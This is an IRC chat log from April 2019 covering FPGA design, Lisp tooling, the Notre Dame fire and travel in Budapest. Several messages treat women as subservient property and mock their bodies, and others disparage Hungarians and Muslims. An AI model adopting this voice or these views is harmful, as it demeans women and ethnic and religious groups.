1908438;1555182329;a111;Logged on 2019-04-12 14:46 asciilifeform: http://btcbase.org/log/2019-04-12#1908318 << dun confuse the gedanken-fpga lut thrd with the 'ideal alu bus' one. i.e. a 64-bit bus is a set of 64 wires ; a 64-bit ~lut~ otoh is 2^64 sram cells , a planet-sized object , and with 1 lonely flipflop , lol, somewhere inside its molten core
1908439;1555182389;mp_en_viaje;http://btcbase.org/log/2019-04-12#1908325 << there may be someting in there, have hexagon/square mesh with specialist cells or w/e crazy surface covering mixes.
1908440;1555182389;a111;Logged on 2019-04-12 15:51 asciilifeform: to briefly revisit ~earthling~ gedanken-fpga tho : it is by no means obv. that the arity has to be 4. anyffin you can tile the 2d plane with, is a legit arity. ( and if you permit 2 or moar types of tile -- then even moar possible options. )
1908441;1555183271;mp_en_viaje;http://btcbase.org/log/2019-04-12#1908353 << stupidity is self-reinforcing, is it. the sort of moronic http://btcbase.org/log/2016-12-30#1593718 assemblage both rests and produces dysfunctional teaching tools, drawing and display conventions, etcetera.
1908442;1555183271;a111;Logged on 2019-04-12 19:28 asciilifeform: hair-pulling level of pervasive idiocy.
1908443;1555183271;a111;Logged on 2016-12-30 17:50 mircea_popescu: phf here's the problem : moder(field) consists of take field, redefine it in a practically useless but superficially persuasive way, then bad_words() to whoever dares ask if your "field" solves any important questions in the field. because of course it doesn't, MIT is the premier institution in science(*) and technology(*) in the werld.
1908444;1555183506;mp_en_viaje;http://btcbase.org/log/2019-04-12#1908360 << well, people of 1972 also didn't need newsweek to explain how the news relates to them. so...
1908445;1555183506;a111;Logged on 2019-04-12 19:41 asciilifeform: that capability was there in fucking 1972.
1908446;1555184440;mp_en_viaje;http://btcbase.org/log/2019-04-12#1908374 << lulzily, ~the original problem apple was even invented to solve.
1908447;1555184440;a111;Logged on 2019-04-12 19:57 asciilifeform: 'you thought you could put little arrows from one place to another in'em without hand-diddling coordinates for each one ?'
1908448;1555184542;*;mp_en_viaje admires peterl's tireless google faith. "mayhap he just didn't put the right magic string in the magic box ?"
1908449;1555184720;mp_en_viaje;http://btcbase.org/log/2019-04-12#1908393 << something else happened ?
1908450;1555184720;a111;Logged on 2019-04-12 21:17 asciilifeform: !!rate OriansJ -1 read-only brain
1908451;1555185187;mp_en_viaje;http://btcbase.org/log/2019-04-12#1908409 << you gotta work to her strengths, yes ?
1908452;1555185187;a111;Logged on 2019-04-12 21:29 Mocky: ah yes. More specifically, I don't wonder about making chix rise from the earth, but how to make it +ev starting with the first, as opposed to adding the 6th
1908453;1555185223;mp_en_viaje;it's not some kind of universal... well, i suppose it could be, if you were an actual pimp, then every girl is +ev by working the street.
1908454;1555185360;mp_en_viaje;but outside of that, what can she do, and what do you control ? is the dentist in whose practcie you're the silent partner looking for a hygienist ? is she all into yoga and ready to post butt tri-daily on her youtube channel ? were you employing a dumbass to do a dubious job of paralegal work tha tshe could be trained within two weeks to take over, thereby saving not merely the salary, but also the government burdens ? (if you cut a 20k a year em
1908455;1555185360;mp_en_viaje;ployment, you save like 60k or so irl).
1908456;1555185412;mp_en_viaje;every place you live in will require someone to mop and broom and go behind the toilet on her bare hands and knees, are you currently hiring someone to do this or are you just pretending it no longer is something that has to be done because "progress" in "modern democracy" ?
1908457;1555185473;mp_en_viaje;how much are you currently paying for the driver(s), garner (s?), maids, scullery and otherwise, and so on ?
1908458;1555185502;BingoBoingo;Or how much time is being lost trying to diy all those jobs
1908459;1555185552;mp_en_viaje;is she any good at doing girly shit, can set her up with a beauty salon out of maybe 50k at most, does she like to drive, can get her a taxi license. is she the smoothest tongue you ever saw get her a real estate practice, she can work rents. solutions to specific problems have to be specific, yes ?
1908460;1555185665;mp_en_viaje;i suppose "videochat" is the lowest financuial capital investment (in the sense every poor schmuck can attempt it) / "spa" aka beauty salon is the lowest human capital investment (in the sense any tardashian can do it), which is why every two bit wanna-be mp is being a "businessman" while the gfs work these.
1908461;1555185681;mp_en_viaje;(meanwhile retarded innocents open "pizzerias", but the same principle really)>
1908462;1555185788;mp_en_viaje;in short, on the basis of your asking the question in that form's rather obvious your outlook's broken in the femitard way. patriarchy ftw, own your space you then don't need to ask what to put the slaves at work on.
1908463;1555185846;mp_en_viaje;but in any case the first's gonna be a lot closer to a partner than anything, so pick one with some business acumen and not so much goange-head.
1908464;1555186626;mp_en_viaje;http://btcbase.org/log/2019-04-12#1908415 << there's absolutely no magic involved. that is ~precisely~ the catch, every moron out there, from first to last, is wholly dependent on a large pile of "magic" being "accepted as part of everyday functioning of reality". orianj dood's problems with this world don't stem from my imaginarily "[http://trilema.com/2014/the-definitive-tract-on-sociopathy/#selection-97.164-97.346][alien dragon of pure energy]
1908465;1555186626;a111;Logged on 2019-04-12 22:06 Mocky: http://btcbase.org/log/2019-04-12#1908406 << at work when I'm the only one who can answer for issues peripherally related to our project even though I'm the newest, coworkers act as if I'm some sort of different species. maybe I'm a member of homo giveashiticus and they aren't, who knows. But no, I don't expect mp has martian dna and that success in some particular realm is thus unattainable.
1908466;1555186626;mp_en_viaje;/ [http://trilema.com/2016/usg-in-btc-a-history-of-constant-failure/#selection-39.0-39.51][sociopath]" nature. they stem from his own fucktarded assumptions ; not sharing in those assumptions means not paying their (very burdensome) cost, means being able to engage in "magic" feats that are "impossible".
1908467;1555186699;mp_en_viaje;so no, the less you look at some cunt as some sort of divinity totem, the more able you are to put her to some kind of useful work. the less you're impressed with the hurr durr of "romantic comedies", the more capable of actual hapiness the subservient ambiental female becomes. and so following.
1908468;1555186854;mp_en_viaje;most generally, the less you try to live in the fictional pantsuit world, the more you're stuck living irl.
1908469;1555186982;jurov;!!v E340FA4945BCCCBDF5D5486A1602C5ADA47335B2679FB87E70E530D7D1B8215D
1908470;1555186987;deedbot;jurov paid BingoBoingo invoice 10
1908471;1555187107;mp_en_viaje;http://btcbase.org/log/2019-04-13#1908420 << don't expect rational op. most of this "it" crap is entitrely anti-economic, just a cover-up for social security payments, there to keep up the pretense of a working economy as opposed to the bare reality of a purely loot-distributive system. because [they think] the chinese couldn't face said reality.
1908472;1555187107;a111;Logged on 2019-04-13 00:04 Mocky: They way they have folks scheduled to rotate off of my project, at the time my contract is up I'm going to the only developer who will have been on the project for more than a few weeks, I'll still be bringing the newbies up to speed. So I expect to have substantial leverage.
1908473;1555187155;mp_en_viaje;therefore, the institution has ~nothing to lose by behaving irrationally, and everytrhing to lose by behaving "out of character". if the play / libretto calls for your doing X, there's no financial outlay that'll convince them to do Y.
1908474;1555187230;mp_en_viaje;so in practical terms, they have ~0 problem with losing out on however many billions, but will NOT pay you more than X, or make an exception to their "code of conduct" to accomodate your fucking interns if you feel like it, or anything else. pretense above sense, you see.
1908475;1555187255;mp_en_viaje;the billions are conventional anyway, see. breaking convention === world ending.
1908476;1555187441;mp_en_viaje;http://btcbase.org/log/2019-04-13#1908421 << or more properly put, "imagines themselves ~the necessary center of any possible world~, so that anyone and everyone is compelled by the power of inca jesus to work for them on their terms without exceptipons". http://btcbase.org/log/2016-07-26#1510037 quite relevant.
1908477;1555187441;a111;Logged on 2019-04-13 00:13 BingoBoingo: Less about leverage and more... they were lucky enough to give you a contract in spite of HR. Is there actually someone making decisions or is this a Home Depot that figures they'll luck into another giveashiticus eventually.
1908478;1555187441;a111;Logged on 2016-07-26 16:28 asciilifeform: in other lulz, http://cluborlov.blogspot.com/2016/07/the-power-of-nyet.html
1908479;1555188224;mp_en_viaje;http://btcbase.org/log/2019-04-13#1908431 << his problem seemed rather of interface, "how to harem on its own power, rather than an exercise in the same distributive non-economics as pantsuit world". not an invalid line of reasoning, either.
1908480;1555188224;a111;Logged on 2019-04-13 01:42 lobbes: i.e. from what I can tell, much like the republic makes a safe space in the -public- domain for humans to be human, a master makes a safe space in the -private- domain for girlz to be human
1908481;1555188405;feedbot;http://qntra.net/2019/04/assange-supporting-activist-arrested-in-quito/ << Qntra -- Assange Supporting Activist Arrested In Quito
1908482;1555188411;BingoBoingo;^ In wannabe republics and government generated crime
1908483;1555188544;mp_en_viaje;yet idiot didn't have the sense to maintain his own platform etc.
1908484;1555188588;mp_en_viaje;cuz of course such a grandiose and important and notable and whatnot moronactivist can make his own choices and dun have to do what mp says and etc.
1908485;1555188597;mp_en_viaje;freedom as in stupid.
1908486;1555205445;asciilifeform;http://btcbase.org/log/2019-04-13#1908439 << aaha, that was what i was thinking to draw, leading up to the barf thread..
1908487;1555205445;a111;Logged on 2019-04-13 19:06 mp_en_viaje: http://btcbase.org/log/2019-04-12#1908325 << there may be someting in there, have hexagon/square mesh with specialist cells or w/e crazy surface covering mixes.
1908488;1555205588;asciilifeform;http://btcbase.org/log/2019-04-13#1908446 << i dun think i ever saw a crapple product which attempted
1908489;1555205588;a111;Logged on 2019-04-13 19:40 mp_en_viaje: http://btcbase.org/log/2019-04-12#1908374 << lulzily, ~the original problem apple was even invented to solve.
1908490;1555205624;asciilifeform;( 'macdraw' was approx. equiv. of winpaint . so couldn't be what's meant here, dun think )
1908491;1555205685;asciilifeform;http://btcbase.org/log/2019-04-13#1908449 << nah, just ran outta patience . if he ever returns and answrs , then new rating, but until then 'read only' is descriptive
1908492;1555205685;a111;Logged on 2019-04-13 19:45 mp_en_viaje: http://btcbase.org/log/2019-04-12#1908393 << something else happened ?
1908493;1555205731;asciilifeform;http://btcbase.org/log/2019-04-13#1908455 << entirely srsly, i dun think i could replace the functions of the pet for 60k
1908494;1555205731;a111;Logged on 2019-04-13 19:56 mp_en_viaje: ployment, you save like 60k or so irl).
1908495;1555205786;asciilifeform;( who eats maybe half of what i do , and buys ~nuffin, but at same time does 9000 chores + 100% of food-crafting + mp-style 'here's a type of cake we haven't had yet' etc )
1908496;1555205883;asciilifeform;... even was instrumental in installing the xray sys, i have this 2-body harness...
1908497;1555205974;asciilifeform;http://btcbase.org/log/2019-04-13#1908473 << 100% accurate summary of ameri-'software' kabuki theatres
1908498;1555205974;a111;Logged on 2019-04-13 20:25 mp_en_viaje: therefore, the institution has ~nothing to lose by behaving irrationally, and everytrhing to lose by behaving "out of character". if the play / libretto calls for your doing X, there's no financial outlay that'll convince them to do Y.
1908499;1555206180;asciilifeform;http://btcbase.org/log/2019-04-13#1908481 << the time for his supporters to 'support' was ~before~ he ended up in the mousetrap where kept warm for usg for 7y
1908500;1555206180;a111;Logged on 2019-04-13 20:46 feedbot: http://qntra.net/2019/04/assange-supporting-activist-arrested-in-quito/ << Qntra -- Assange Supporting Activist Arrested In Quito
1908501;1555206319;asciilifeform;http://btcbase.org/log/2019-04-13#1908448 << i distinctly recall a very similar pete_d thread
1908502;1555206319;a111;Logged on 2019-04-13 19:42 mp_en_viaje admires peterl's tireless google faith. "mayhap he just didn't put the right magic string in the magic box ?"
1908503;1555206327;asciilifeform;'if i push button enuff, surely right answer will emerge'
1908504;1555206331;asciilifeform;it won't, folx!!
1908505;1555206378;asciilifeform;for 1 thing, asciilifeform also can push button, and typically does prior to returning verdict of 'this animal appears to be extinct'
1908506;1555206816;asciilifeform;while on subj, 1 of the lost atlantian technologies i intend to saw out of bolix, is the sane graphics stack
1908507;1555206830;asciilifeform;without it, ~impossible to bake the type of item contemplated in that thrd.
1908508;1555206934;asciilifeform;even ordinary sbcl with graphics awareness, could theoretically do the job, i.e. the item laddel threatened to produce. but this also dun exist.
1908509;1555207094;asciilifeform;then again when phf brought up 'hey didja look at the internals', and i did, barfed mightily; the notion of cleaning sbcl makes the gnat work look trivial in comparison, ~whole thing is a pile of gnarly x86 hackolade
1908510;1555207173;asciilifeform;presently , it aint even clear to asciilifeform that it is possible to produce a pc-iron lisp that isn't doomed to resemble that pile of shit, simply on acct of the hostility of the iron to any kind of sense
1908511;1555231552;*;mp_en_viaje waves
1908512;1555231728;mp_en_viaje;http://btcbase.org/log/2019-04-14#1908497 << by which we mean "technology".
1908513;1555231728;a111;Logged on 2019-04-14 01:39 asciilifeform: http://btcbase.org/log/2019-04-13#1908473 << 100% accurate summary of ameri-'software' kabuki theatres
1908514;1555231868;mp_en_viaje;http://btcbase.org/log/2019-04-14#1908488 << macdraw was the actual implementation. vector, integrated with their notion of vi, whatever. came short of the actual design, which was specifically your "wtf, boxes and arrows on computer already".
1908515;1555231868;a111;Logged on 2019-04-14 01:33 asciilifeform: http://btcbase.org/log/2019-04-13#1908446 << i dun think i ever saw a crapple product which attempted
1908516;1555231909;mp_en_viaje;!#s mark cutter
1908517;1555231910;a111;0 results for "mark cutter", http://btcbase.org/log-search?q=mark%20cutter
1908518;1555231912;mp_en_viaje;odd.
1908519;1555232045;mp_en_viaje;in other lulz, https://duckduckgo.com/?q=Amy+Goldsmith+and+Marjory+Kaptanoglu&t=ffsb&iax=images&ia=images&iai=http%3A%2F%2Fwww.aznude.com%2Fmrskin%2Fangelagrant%2Fbaredeception%2Fgrant-bare-n-1.jpg
1908520;1555238334;feedbot;http://trilema.com/2019/pe-un-franc-poet/ << Trilema -- Pe-un franc poet.
1908521;1555238955;mp_en_viaje;and now let's try some images.
1908522;1555246257;mp_en_viaje;ahh, splendid.
1908523;1555246282;*;mp_en_viaje shall be budapesting tomorrow, and then we see.
1908524;1555247219;feedbot;http://trilema.com/2019/hauptbahnhof-and-other-visual-stories/ << Trilema -- Hauptbahnhof, and other visual stories.
1908525;1555249623;*;mp_en_viaje waves buhbye.
1908526;1555255972;asciilifeform;http://trilema.com/2019/hauptbahnhof-and-other-visual-stories/#selection-403.0-403.8 << oh hah, they've carried on re-painting'em since last i saw
1908527;1555256051;asciilifeform;( pet: 'when can we eat in 'intermezzo' again!!??!' )
1908528;1555260565;asciilifeform;!Q later tell mp_en_viaje http://trilema.com/2019/pe-un-franc-poet/#selection-51.567-59.2 << malformed link
1908529;1555260566;lobbesbot;asciilifeform: The operation succeeded.
1908530;1555266886;BingoBoingo;asciilifeform: http://p.bvulpes.com/pastes/MFXeW/?raw=true
1908531;1555274109;asciilifeform;BingoBoingo: got it , will set up this wk ( and plz lemme know if exactly same param as last time or not )
1908532;1555274236;BingoBoingo;asciilifeform: This figure works http://pizarroisp.net/2019/04/06/pizarro-march-2019-report/#selection-13.2827-13.2907
1908533;1555274267;asciilifeform;ty
1908534;1555282566;feedbot;http://pizarroisp.net/2019/04/14/pizarro-isp-april-14th-update/ << PizarroISP -- Pizarro ISP April 14th Update
1908535;1555287452;*;asciilifeform writing 18B
1908536;1555295377;PeterL;http://btcbase.org/log/2019-04-13#1908448 << I just wanted to find out in what ways the items I found were lacking, my initial understanding of what asciilifeform wanted was incorrect, and looking at those examples helped me understand what he wanted
1908537;1555295377;a111;Logged on 2019-04-13 19:42 mp_en_viaje admires peterl's tireless google faith. "mayhap he just didn't put the right magic string in the magic box ?"
1908538;1555323641;mp_en_viaje;a huh, gotta fix that link
1908539;1555323641;lobbesbot;mp_en_viaje: Sent 17 hours and 31 minutes ago: <asciilifeform> http://trilema.com/2019/pe-un-franc-poet/#selection-51.567-59.2 << malformed link
1908540;1555323875;mp_en_viaje;fixed! lemme know if you see anymore
1908541;1555327999;mp_en_viaje;alright well, ima bbl!
1908542;1555328472;feedbot;http://trilema.com/2019/joketime/ << Trilema -- #joketime
1908543;1555345428;phf;i've switched to the new url rendering approach, it's a bit invasive, so if things seem broken when it comes to urls, please let me know
1908544;1555345440;asciilifeform;ohai phf
1908545;1555345460;asciilifeform;seems to work
1908546;1555345511;phf;specifically http://btcbase.org/log/2019-02-05#1892960 works
1908547;1555345511;a111;Logged on 2019-02-05 18:46 phf: mircea_popescu: is the idea that message like [http://btcbase.org/log][logotron] will render it as just "logotron" in html?
1908548;1555345546;asciilifeform;right, i searched for square bracket and it seems to do Right Thing in the returned lines
1908549;1555345563;phf;amusingly it doesn't do the right thing when the message is from a bot
1908550;1555345577;asciilifeform;oh hm tru
1908551;1555345955;phf;ok, fixed. anyway, i'm not so much concerned about the renderer as i am about the bot falling out on some corner case trying to annotate. i should probably put a guard around annotation, since they do all kinds of stuff now.
1908552;1555345974;phf;bbl
1908553;1555356607;mp_en_viaje;h-h-h-hola!
1908554;1555356705;mp_en_viaje;o look, let's then [http://btcbase.org/log/2019-04-15#1908543][try this] ] [  [[[ ]] ] ]] ]  ]]] []-[] ][].[] [xxx]/[yyy] p-p-p-arser breaker!![!!
1908555;1555356705;a111;Logged on 2019-04-15 16:23 phf: i've switched to the new url rendering approach, it's a bit invasive, so if things seem broken when it comes to urls, please let me know
1908556;1555356732;mp_en_viaje;pretty cool.
1908557;1555356831;asciilifeform;ohai mp_en_viaje
1908558;1555357233;mp_en_viaje;what's new ?
1908559;1555357243;asciilifeform;about to post 18b
1908560;1555357273;asciilifeform;also ate buncha vlsi likbez in weekend, but early to write re subj yet.
1908561;1555357292;asciilifeform;and what of mp_en_viaje's viajes ?
1908562;1555357556;BingoBoingo;In local campaign materials: https://www.carasycaretas.com.uy/frente-amplio-propone-eliminar-doctrina-de-la-seguridad-nacional/
1908563;1555357852;BingoBoingo;And China continues eating which allows Uruguay to continue eating https://www.elobservador.com.uy/nota/mas-de-la-mitad-de-las-divisas-por-exportaciones-carnicas-llegan-desde-china-2019415153726
1908564;1555357953;mp_en_viaje;keks
1908565;1555357967;mp_en_viaje;asciilifeform, well, i'm having a ball.
1908566;1555357983;asciilifeform;i'd expect
1908567;1555357988;mp_en_viaje;yurp is fun, especially after extended colonial stay. funny how little changed in 3 centuries+
1908568;1555358014;asciilifeform;didja get to see notre dame ? apparently today burned down.
1908569;1555358024;asciilifeform;so i guess occasionally yes changes
1908570;1555358027;mp_en_viaje;no ?!
1908571;1555358031;BingoBoingo;Becames the ruins of Notre Dame
1908572;1555358038;mp_en_viaje;i guess i missed it ? what do you mean burned down ? for srs ?
1908573;1555358043;BingoBoingo;Yeah
1908574;1555358049;BingoBoingo;Spire collapsed
1908575;1555358050;asciilifeform;https://www.bbc.com/news/world-europe-47941794
1908576;1555358061;asciilifeform;Officially 'accident'
1908577;1555358072;BingoBoingo;"cause unknown"
1908578;1555358074;mp_en_viaje;holy shit the spire actually collapsed
1908579;1555358084;BingoBoingo;Well if the WTC did...
1908580;1555358113;mp_en_viaje;this is fucking ridiculous already.
1908581;1555358129;mp_en_viaje;i was just talking about the cucky frenchies with cab driver,
1908582;1555358137;*;BingoBoingo writing up British seekrit trial lulz
1908583;1555358144;mp_en_viaje;a well, i guess that's another "europe from the 90s" girls don't get to see.
1908584;1555358175;*;asciilifeform supposes they'll build a mosque in the crater
1908585;1555358214;BingoBoingo;Naturally, as well as IS claiming credit in retaliation for the Tarrant dude in NZ
1908586;1555358352;mp_en_viaje;heh
1908587;1555358445;mp_en_viaje;BingoBoingo, those numbers are something else : so total meat exported 139k tons, for 503mn ; out of which beef 83% aka 82k tons, WORTH 416mn.
1908588;1555358458;mp_en_viaje;!Qcalc 82/139
1908589;1555358458;lobbesbot;mp_en_viaje: 0.589928057554
1908590;1555358469;mp_en_viaje;!Qcalc 416/503
1908591;1555358469;lobbesbot;mp_en_viaje: 0.82703777336
1908592;1555358494;mp_en_viaje;wtf is the rest, chicken butts ?
1908593;1555358504;BingoBoingo;Chicken butts and feet
1908594;1555358514;BingoBoingo;Also sheep
1908595;1555358520;mp_en_viaje;!Qcalc 416/82
1908596;1555358521;lobbesbot;mp_en_viaje: 5.07317073171
1908597;1555358535;mp_en_viaje;!Qcalc (503-416)/(139-82)
1908598;1555358535;lobbesbot;mp_en_viaje: 1.52631578947
1908599;1555358553;asciilifeform;meanwhile 18b posted.
1908600;1555358599;feedbot;http://www.loper-os.org/?p=3156 << Loper OS -- Finite Field Arithmetic. Chapter 18B: Cutouts in Peh.
1908601;1555358877;mp_en_viaje;nice.
1908602;1555358928;mp_en_viaje;asciilifeform, are you running out of underlining, bolding and page-popping techniques by now ?
1908603;1555358936;asciilifeform;lol loong ago ran out
1908604;1555358945;asciilifeform;at least not resorted to blinky!1111
1908605;1555358947;mp_en_viaje;http://www.loper-os.org/?p=3156#selection-649.1-691.19 << fucking lulzy typography
1908606;1555358964;mp_en_viaje;yeah, you got me there... pretty sure a few instances of blink on trilema.
1908607;1555358999;asciilifeform;i distinctly recall. tho can't immediately say where
1908608;1555359028;mp_en_viaje;in my defense tho -- I DID IT IRONICALLY!!11
1908609;1555359043;*;asciilifeform writes these by hand, so if anyone sees a broken htmlism plox to write in
1908610;1555359166;asciilifeform;in keeping with past material, the humantext weights substantially moar than the actual proggy..
1908611;1555359177;asciilifeform;*weighs
1908612;1555359177;mp_en_viaje;aha.
1908613;1555359200;asciilifeform;( which in turn is ~50% comment by mass )
1908614;1555359957;*;asciilifeform bbl:tea
1908615;1555359978;*;mp_en_viaje bbl:dramaz!
1908616;1555361122;feedbot;http://qntra.net/2019/04/after-sentencing-brits-reveal-they-tried-and-convicted-alleged-dread-pirate-roberts-2/ << Qntra -- After Sentencing Brits Reveal They Tried And Convicted Alleged "Dread Pirate Roberts 2"
1908617;1555362504;feedbot;http://qntra.net/2019/04/notre-dame-spire-collapses-latest-in-a-recent-string-of-french-church-fires/ << Qntra -- Notre Dame Spire Collapses, Latest In A Recent String Of French Church Fires
1908618;1555363832;bvt;hello. just to give you a bit of information: i am alive; i'm pretty short on work time this month; given that [http://bvt-trace.net/2019/04/mes-part-2-bootstrapping-guix/][this] did not cause any further discussion i will stall it for some time.
1908619;1555363841;bvt;the only smaller item in my pipeline is unrolling comba for ch10 multiplication; and i'd like to give a shot a 'kill /dev/random and /dev/urandom' experiment, replacing them with buffers than can be directly fed from userspace, but this - even later.
1908620;1555365035;bvt;http://btcbase.org/log/2019-04-15#1908583 << well, after ww2 germans did rebuilt everything as accurately as possible
1908621;1555365035;a111;Logged on 2019-04-15 19:55 mp_en_viaje: a well, i guess that's another "europe from the 90s" girls don't get to see.
1908622;1555365325;BingoBoingo;Well, those were the Germans of the 1940s and 50s. These are the "French" nearly a hundred years later.
1908623;1555365466;BingoBoingo;I question whether they can get the necessary oak much less work it.
1908624;1555366086;bvt;yes, this is a point; i don't believe they'll even try to use oak - they have 'modern, improved' materials these days
1908625;1555366128;asciilifeform;iirc mircea_popescu had a photo from some (argentine?) church where there was specifically sign about 'cracked stones are being replaced with plastic'
1908626;1555366187;asciilifeform;( possibly he also had passage re how this is so that moderntards can have time to reddit instead of cutting stones. or possibly i dreamed this, and it was implicit.. )
1908627;1555366251;asciilifeform;bvt: i dun expect any oak. for 1 thing, most of the old-growth wood of the kind which built the great cathedrals, sailing ships, etc. is gone.
1908628;1555366301;asciilifeform;what remains, afaik, is the american redwoods, but these sell for weight in silver
1908629;1555366313;asciilifeform;( and prolly will disappear in not too long )
1908630;1555366476;BingoBoingo;Well, there's all sorts of old growth hardwood in Brasil. The thing is not all woods are equivalent. Oak and redwood have some rather different properties.
1908631;1555366646;asciilifeform;verily
1908632;1555366715;BingoBoingo;They could use some engineered plastiwood
1908633;1555366808;BingoBoingo;Local stores are stocked up on split dry eucalyptus for the winter
1908634;1555366864;asciilifeform;interestingly, the connection b/w great ships and serious wood , is not entirely gone in modern time -- sov type 636 submarine has shaft bearing from lignum vitae
1908635;1555367018;BingoBoingo;Well, nature has its self lubricating metal substitutes
1908636;1555367237;BingoBoingo;Looking at photos, the neighborhood kinda looks like Centro in MVD
1908637;1555367295;BingoBoingo;Well, the architecture. Even with the Caribean immigration Centro's population is quite a bit more pale.
1908638;1555367389;BingoBoingo;And in the cultural war aspect there's http://archive.is/YWZx6
1908639;1555367463;asciilifeform;BingoBoingo: even possible that this is the torch d00d. ( supposedly they often feel irresistible desire to stand in crowd and watch )
1908640;1555367479;BingoBoingo;Not the only smiler
1908641;1555367579;BingoBoingo;A few other photos of this flavor
1908642;1555367992;bvt;asciilifeform: http://trilema.com/2015/la-chacarita/#selection-107.0-107.209 ?
1908643;1555368004;asciilifeform;aaha!
1908644;1555368020;asciilifeform;that was it
1908645;1555371236;asciilifeform;trinque: deedbot down ?
1908646;1555402745;phf;bvt: http://bvt-trace.net/2019/03/mes-part-1-stage0/ << "can to be implemented" "layouts textual strings"(?)
1908647;1555416036;diana_coman;trinque: is deedbot down?
1908648;1555421871;trinque;thanks all.
1908649;1555429180;asciilifeform;grr loox like we missed today's mp_en_viaje
1908650;1555429226;*;asciilifeform wonders re status of the 'escape from fleanode' proj..
1908651;1555429233;asciilifeform;mod6 et al ^ ?
1908652;1555433731;asciilifeform;!Q later tell phf wouldja be willing to stand up a logger instance for #pizarro ? appears that ben_vulpes and his bot, may have been lost at sea or whoknows
1908653;1555433731;lobbesbot;asciilifeform: The operation succeeded.
1908654;1555438262;mp_en_viaje;http://btcbase.org/log/2019-04-15#1908619 << sorry about the whole http://btcbase.org/log/2019-03-26#1904872 not working out, btw. eminently not your fault.
1908655;1555438262;a111;Logged on 2019-04-15 21:30 bvt: the only smaller item in my pipeline is unrolling comba for ch10 multiplication; and i'd like to give a shot a 'kill /dev/random and /dev/urandom' experiment, replacing them with buffers than can be directly fed from userspace, but this - even later.
1908656;1555438262;a111;Logged on 2019-03-26 20:07 mircea_popescu: bvt, so put the matter to him plainly, "look, the republic is considering this, either come over and make your case or what d oyou want to do" ?
1908657;1555438355;*;asciilifeform waves to mp_en_viaje 
1908658;1555438371;mp_en_viaje;how goes it ?
1908659;1555438389;asciilifeform;18c
1908660;1555438393;asciilifeform;and you, mp_en_viaje ?
1908661;1555438408;mp_en_viaje;been walking about budapest all day.
1908662;1555438420;mp_en_viaje;hungarians are fucking insufferable, for the most part.
1908663;1555438427;asciilifeform;why's this ?
1908664;1555438511;mp_en_viaje;they are geometrically challenged in a manner quite reminiscent of their sad lang. i am starting to suspect the distance between euclidean geometry and what's going on in hungarian skull is commensurate with distance between human lang and their finougric atrocity.
1908665;1555438540;BingoBoingo;Few handicaps as bad a sadlang
1908666;1555438556;asciilifeform;asciilifeform does not know hungarian, but was under impression that it was a full-featured lang with 20-sumthing cases etc
1908667;1555438562;BingoBoingo;As evidenced by the javascript brain cancer
1908668;1555438568;mp_en_viaje;can't park, can't drive, can't fucking walk, all sorrts of common sense items ("no, do NOt drive right into a main lane from the side street to the point of near collision after which suddenly and unexpectedly back away at speed towards a crosswalk") do not come naturally to them.
1908669;1555438637;mp_en_viaje;saw three separate road incidents avoided by the grace of the wounds of saint francis only ; while watching hanbot and 15 our of 18 possible people get into each other's way and so on.
1908670;1555438651;asciilifeform;so far the only folx i met who ~can~ park properly, are (oddly enuff) the americans
1908671;1555438659;mp_en_viaje;zee germans park fine.
1908672;1555438668;asciilifeform;aa but i not yet met'em
1908673;1555438678;*;asciilifeform believes
1908674;1555438684;mp_en_viaje;and then the sirens all the time. at some point i was like "turn that shit OFF!!!"
1908675;1555438709;mp_en_viaje;(unsurprising to anyone with me, the siren shut up instantly. i can turn off sirens by yelling!)
1908676;1555438736;BingoBoingo;I don't think I here sirens here more than weekly or biweekly
1908677;1555438746;asciilifeform;'some may have escaped from the siren's song, but from their silence -- no one'(tm)(r) lol
1908678;1555438760;mp_en_viaje;something like two dozen separate blarings, i mean gimme a fucking break, there can't be that many emergencies
1908679;1555438767;mp_en_viaje;o wait, geometrically challenged people...
1908680;1555438788;mp_en_viaje;as i write this, i'm seated in a non-square room.
1908681;1555438803;mp_en_viaje;in fact, it has 17 edges.
1908682;1555438805;asciilifeform;for some reason i thought this was common in old europistan
1908683;1555438833;mp_en_viaje;not THAT common.
1908684;1555438864;mp_en_viaje;anyway, also had a palinkaoff, ima post pictures i think.
1908685;1555438875;asciilifeform;wassat?
1908686;1555438889;mp_en_viaje;when you order all the palinka in the menu
1908687;1555438892;asciilifeform;a
1908688;1555438978;mp_en_viaje;but anyway, yes, somehow spatial navigation schelling points common to all other humans ain;t obvious to hungarians.
1908689;1555439014;asciilifeform;mp_en_viaje: is this 1st time you went there ? or did they fughet how to spatian since n-1 ?
1908690;1555439018;asciilifeform;*spatial
1908691;1555439046;mp_en_viaje;other than this, the chicks are often even tall, and commonly cute -- except if you beheaded a hundred or two alongside another hundred or two 13 yo boys and sewed the heads back on randomly you could scarcely tell the difference.
1908692;1555439064;mp_en_viaje;what's the point of being a 5"9 female if you're gonna carry less ass than me ?!
1908693;1555439087;BingoBoingo;More stairs!
1908694;1555439106;mp_en_viaje;asciilifeform, haven't been here in almost 20 years ; i dun recall this problem, but then again....
1908695;1555439148;mp_en_viaje;BingoBoingo, i fear it's the genes.
1908696;1555439197;mp_en_viaje;all these annoying b cup euro tits, too. 24yo pubescentitis
1908697;1555439241;mp_en_viaje;b shouldn't even be a cup.
1908698;1555439343;mp_en_viaje;http://btcbase.org/log/2019-04-15#1908627 << ships was cedar not oak.
1908699;1555439343;a111;Logged on 2019-04-15 22:10 asciilifeform: bvt: i dun expect any oak. for 1 thing, most of the old-growth wood of the kind which built the great cathedrals, sailing ships, etc. is gone.
1908700;1555439352;mp_en_viaje;and yes, gone since 2 centuries ago
1908701;1555439368;mp_en_viaje;large part of why move to ironclads. "dood... cedar's gone"
1908702;1555439371;asciilifeform;there's still cedar in ru far east iirc
1908703;1555439381;mp_en_viaje;possibru. but greeks used lebanose
1908704;1555439395;mp_en_viaje;the cedars of lebanon
1908705;1555439396;asciilifeform;( recall the story where jp in '90s bought entire steamer of old sovok bottle crates. for the cedar )
1908706;1555439621;*;BingoBoingo in a country where large forests are claimed to be a recent (late 80's) invention.
1908707;1555439720;BingoBoingo;No appreciable hydrocarbons in the ground so they started planting Eucalyptus in 1989. For the estufas de leña though paper mills followed the forresting
1908708;1555443287;BingoBoingo;Meanwhile in France http://www.lefigaro.fr/culture/pierre-palmade-place-en-garde-a-vue-dans-une-affaire-de-viol-presume-20190411
1908709;1555443448;mp_en_viaje;wtf is a case of "presumed" rape.
